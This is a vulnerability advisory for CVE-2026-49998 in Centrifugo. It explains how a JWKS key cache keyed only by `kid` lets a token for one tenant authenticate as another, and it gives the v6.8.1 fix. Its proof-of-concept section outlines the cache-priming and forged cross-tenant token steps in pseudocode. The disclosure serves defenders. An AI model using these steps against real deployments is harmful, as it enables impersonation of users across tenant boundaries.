high · 8.2CVE-2026-49998Jul 1, 2026

CVE-2026-49998: Centrifugo Cross-Issuer JWT Authentication Bypass via JWKS Kid Cache Collision

Shubham Kandhare
Security Engagement Manager, SecureLayer7

In Centrifugo's multi-tenant dynamic JWKS setup, a valid token for one tenant can silently authenticate as a completely different tenant because the key cache is keyed only by kid, not by which JWKS e

Packagegithub.com/centrifugal/centrifugo/v6
Ecosystemgo
Affected<= 6.8.0
Fixed in6.8.1

The problem

Centrifugo supports dynamic JWKS endpoint templates such as `https://idp.example.com/{{tenant}}/jwks.json`, where `{{tenant}}` is extracted from the JWT `iss` or `aud` claim. This powers multi-tenant deployments where each tenant has its own signing keys.

The JWKS key cache (`internal/jwks/cache_ttl.go`) and the `singleflight` deduplication group (`internal/jwks/manager.go`) both key lookups solely on the JWT header `kid`. The resolved JWKS URL is computed only after the cache is consulted. As a result, once tenant A's key is stored under `kid=shared-kid`, any subsequent token claiming tenant B with the same `kid` is verified against tenant A's cached public key, without ever contacting tenant B's JWKS endpoint.

Both connection tokens (`VerifyConnectToken`) and subscription tokens (`VerifySubscribeToken`) share the same vulnerable manager.

Proof of concept

A working proof-of-concept for CVE-2026-49998 in github.com/centrifugal/centrifugo/v6, with the exact payload below.

go
// Scenario: two tenants, same kid value, attacker holds tenant-A's private key.
// Config (centrifugo):
// client.token.jwks_public_endpoint: "https://idp.example.com/{{tenant}}/jwks.json"
// client.token.issuer_regex:         "^(?P<tenant>tenant-a|tenant-b)$"

// Step 1 – authenticate legitimately as tenant-a (primes cache with tenant-A's public key under kid="shared-kid")
legitTenantAToken := buildJWT(user="tenant-a-user", iss="tenant-a", kid="shared-kid", signWith=tenantAPrivateKey)
POST /connection  Authorization: Bearer <legitTenantAToken>   // -> 200 OK, cache now: {"shared-kid": tenantA_pubkey}

// Step 2 – forge a tenant-b token signed with tenant-A's private key
forgedTenantBToken := buildJWT(user="victim", iss="tenant-b", kid="shared-kid", signWith=tenantAPrivateKey)
POST /connection  Authorization: Bearer <forgedTenantBToken>
// -> 200 OK  (tenant-B JWKS endpoint is NEVER contacted)
// -> authenticated as "victim" inside tenant-b's namespace

// Minimal Go unit test (from advisory PoC – run against <= 6.8.0):
// go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v
// Expected on vulnerable build: PASS (forged token accepted, tenant-B request counter unchanged)

The root cause (CWE-347: Improper Verification of Cryptographic Signature) is that `Manager.FetchKey` in `internal/jwks/manager.go` calls `m.cache.Get(kid)` and `m.group.Do(kid, ...)` before computing `jwkURL := m.url.ExecuteString(tokenVars)`. The cache key is only `kid`, so a key fetched from tenant A's endpoint satisfies a lookup intended for tenant B's endpoint if both publish a key with the same `kid`.

The fix in PR #1142 (v6.8.1) resolves the JWKS URL first, then forms a composite cache key of `resolvedURL + "\x00" + kid` for both the TTL cache and the `singleflight` group. This ensures keys from different trust domains never collide, even when issuers reuse common `kid` labels like `current`, `default`, or rotation counters.

The `kid` field is not globally unique by the JWK specification, so relying on it alone as a namespace boundary is always unsafe in a multi-issuer context.

The fix

Upgrade to Centrifugo v6.8.1. The patch (PR #1142) scopes every cache and singleflight lookup to the composite key `resolvedJWKSEndpointURL + "\x00" + kid`, eliminating the cross-tenant key reuse. No configuration changes are required for the cache-scoping fix itself, though you should confirm your `issuer_regex` / `audience_regex` named groups enumerate only explicit allowed tenant values (e.g. `^(?P<tenant>tenant-a|tenant-b)$`) as a defence-in-depth measure.

Reported by sondt99.

References: [1][2]

Related research